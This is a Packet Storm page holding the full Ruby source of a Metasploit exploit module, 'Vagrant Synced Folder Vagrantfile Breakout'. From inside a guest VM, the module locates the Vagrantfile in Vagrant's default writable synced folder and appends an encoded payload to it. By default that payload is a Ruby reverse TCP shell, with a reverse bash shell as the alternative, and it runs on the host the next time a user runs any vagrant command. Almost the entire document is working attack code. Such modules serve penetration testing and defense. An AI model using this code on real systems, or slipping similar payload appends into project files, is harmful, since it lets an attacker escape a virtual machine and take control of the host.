what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Vagrant Synced Folder Vagrantfile Breakout

Vagrant Synced Folder Vagrantfile Breakout
Posted Oct 27, 2022
Authored by Brendan Coles, HashiCorp | Site metasploit.com

This Metasploit module exploits a default Vagrant synced folder (shared folder) to append a Ruby payload to the Vagrant project Vagrantfile config file. By default, unless a Vagrant project explicitly disables shared folders, Vagrant mounts the project directory on the host as a writable vagrant directory on the guest virtual machine. This directory includes the project Vagrantfile configuration file. Ruby code within the Vagrantfile is loaded and executed when a user runs any vagrant command from the project directory on the host, leading to execution of Ruby code on the host.

tags | exploit, ruby
SHA-256 | 4aa68ef0141c22e4e2be0cd50c642945c2afd7a94ea98ee68a6375e6bd398e81

Vagrant Synced Folder Vagrantfile Breakout

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Vagrant Synced Folder Vagrantfile Breakout',
'Description' => %q{
This module exploits a default Vagrant synced folder (shared folder)
to append a Ruby payload to the Vagrant project Vagrantfile config file.

By default, unless a Vagrant project explicitly disables shared folders,
Vagrant mounts the project directory on the host as a writable 'vagrant'
directory on the guest virtual machine. This directory includes the
project Vagrantfile configuration file.

Ruby code within the Vagrantfile is loaded and executed when a user
runs any vagrant command from the project directory on the host,
leading to execution of Ruby code on the host.
},
'License' => MSF_LICENSE,
'Author' => [
'HashiCorp', # Vagrant defaults
'bcoles' # Metasploit
],
'DisclosureDate' => '2011-01-19', # Vagrant 0.7.0 release date - first mention of shared folders in CHANGELOG
'Platform' => %w[ruby],
'Arch' => ARCH_ALL,
'SessionTypes' => [ 'shell', 'powershell', 'meterpreter' ],
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Targets' => [
[
'Ruby Code',
{
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Type' => :ruby,
'DefaultOptions' => {
'PAYLOAD' => 'ruby/shell_reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => { 'BadChars' => '`' },
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.vagrantup.com/docs/synced-folders'],
['URL', 'https://www.virtualbox.org/manual/ch04.html#sharedfolders']
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]
}
)
)
register_options([
OptString.new('VAGRANTFILE_PATH', [false, 'Path to Vagrantfile (leave blank to auto detect)', ''])
])
end

# Search potential default shared directories for Vagrantfile configuration file
def find_vagrantfile_path
unless datastore['VAGRANTFILE_PATH'].blank?
return exists?(datastore['VAGRANTFILE_PATH']) ? datastore['VAGRANTFILE_PATH'] : nil
end

# Default Vagrant synced folders (aka shared folders)
default_shared_directories = [
'C:\\vagrant\\',
'/vagrant/'
]

default_shared_directories.each do |dir_path|
begin
vagrant_shared_dir_contents = dir(dir_path)
rescue Rex::Post::Meterpreter::RequestError
next
end

next if vagrant_shared_dir_contents.empty?

# Vagrant project configuration file name is case-insensitive (typically "Vagrantfile")
vagrant_shared_dir_contents.each do |fname|
return "#{dir_path}#{fname}" if fname.downcase == 'vagrantfile'
end
end

nil
end

def vagrantfile
@vagrantfile ||= find_vagrantfile_path
end

def check
return CheckCode::Safe('Vagrantfile not found.') unless vagrantfile

# `writable?' method does not support Windows systems
begin
return CheckCode::Detected("#{vagrantfile} is not writable.") unless writable?(vagrantfile)
rescue RuntimeError
return CheckCode::Detected("Could not verify if #{vagrantfile} is writable.")
end

CheckCode::Appears("#{vagrantfile} is writable!")
end

def exploit
fail_with(Failure::NotVulnerable, 'Could not find Vagrantfile') unless vagrantfile

case target['Type']
when :ruby
data = payload.encoded
when :unix_cmd
data = "`#{payload.encoded}`"
else
fail_with(Failure::NoTarget, 'No target selected')
end

print_status("Appending payload (#{data.length} bytes) to #{vagrantfile} ...")

unless append_file(vagrantfile, "\n#{data}\n")
fail_with(Failure::Unknown, "Could not write to #{vagrantfile}")
end

print_status("Payload appended to #{vagrantfile}")
print_status('The payload will be executed when a user runs any vagrant command from within the project directory on the host system.')
print_warning("This module requires manual removal of the payload from the project Vagrantfile: #{vagrantfile}")
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close